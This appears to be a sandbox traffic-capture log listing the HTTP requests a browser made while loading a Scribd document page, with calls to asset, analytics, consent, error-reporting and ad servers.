Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/pages/1-b5a377eed6.jsonp HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0002.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0004.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0003.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0006.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0008.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/pages/2-9725faf5fd.jsonp HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/pages/3-4383b92e84.jsonp HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/pages/4-fb0a36a95f.jsonp HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0005.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: cmp.osano.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0009.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0010.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0012.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0013.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0011.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /log/dd HTTP/1.1Host: wa.scribd.comConnection: keep-aliveContent-Length: 172sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /log/dd HTTP/1.1Host: wa.scribd.comConnection: keep-aliveContent-Length: 170sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /log/dd HTTP/1.1Host: wa.scribd.comConnection: keep-aliveContent-Length: 189sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /api/v3/graphql HTTP/1.1Host: api.scribd.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: same-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scribd-com/pubfig.min.js HTTP/1.1Host: a.pub.networkConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s.js HTTP/1.1Host: cdn.siftscience.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /js/24721610109.js HTTP/1.1Host: cdn.optimizely.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /7.19.0/bundle.min.js HTTP/1.1Host: browser.sentry-cdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v2/sites/scribd-com/configs?env=PROD HTTP/1.1Host: d.pub.networkConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/706038976/149x198/b23f8188f7/1710539003?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/728642887/149x198/d35a4efa00/1730129257?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/638814330/149x198/000d73604e/1702668442?v=12 HTTP/1.1Host: imgv2-1-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/495907488/149x198/c6c48fd839/1710546787?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/474042718/149x198/fa29e9f44c/1710563253?v=12 HTTP/1.1Host: imgv2-1-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/700745756/149x198/96c9d7ecea/1705973557?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/48495773/149x198/75bbdd6134/1387874969?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /7.19.0/rewriteframes.min.js HTTP/1.1Host: browser.sentry-cdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /record HTTP/1.1Host: consent.api.osano.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /images/309722.gif?tm=200&r=728434526&v=114&cs=UTF-8&h=www.scribd.com&l=en-GB&S=5e543256c480ac577d30f76f9120eb74&uu=5c021bd9dd75bdf34a1e175ee1e359a&t=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&u=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&nm=2&mh=63196a00446a1e285d1992cfe444aa55&np=5&ph=332b72bdb211e34e6e3c24f88d7c393b&sh=1024&sw=1280&cd=24&p=Win32&to=300&d=60&ce=true&tp=0&ol=true&pr=Gecko&ps=20030107&vd=Google%20Inc.&hc=4&je=false&ss=true&ls=true&in=true&db=false&tl=false&tr=false&ts=false&tb=false&ab=false&cf=a4e7cd73f0e94331f2ea39a4c659e628&fph=c0f48806e2dc75d6fcbd91de7957bb6f&fsh=1024&fsw=1280&fcd=24&fp=Win32&ftp=0&fhc=4&fss=true&fls=true&fin=true&fvch=418711b9360f0ff97a5476ce480683b2&fad=124.04347527516074&fdm=8&fvf=chrome&fcg=srgb&ffc=false&fm=0&fc=0&frm=false&fhdr=false&fmf=8a6484bc3146bfed2f1b37578b8d6f00&fa=255&fte=false&fts=false&fce=true&fpdf=true&fl=04e4adf37ffcbe95bf074adf5cbd1d1b&ft=America/New_York&pf=200&pfe=126&z=z HTTP/1.1Host: hexagon-analytics.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js?network_code=22797863291 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
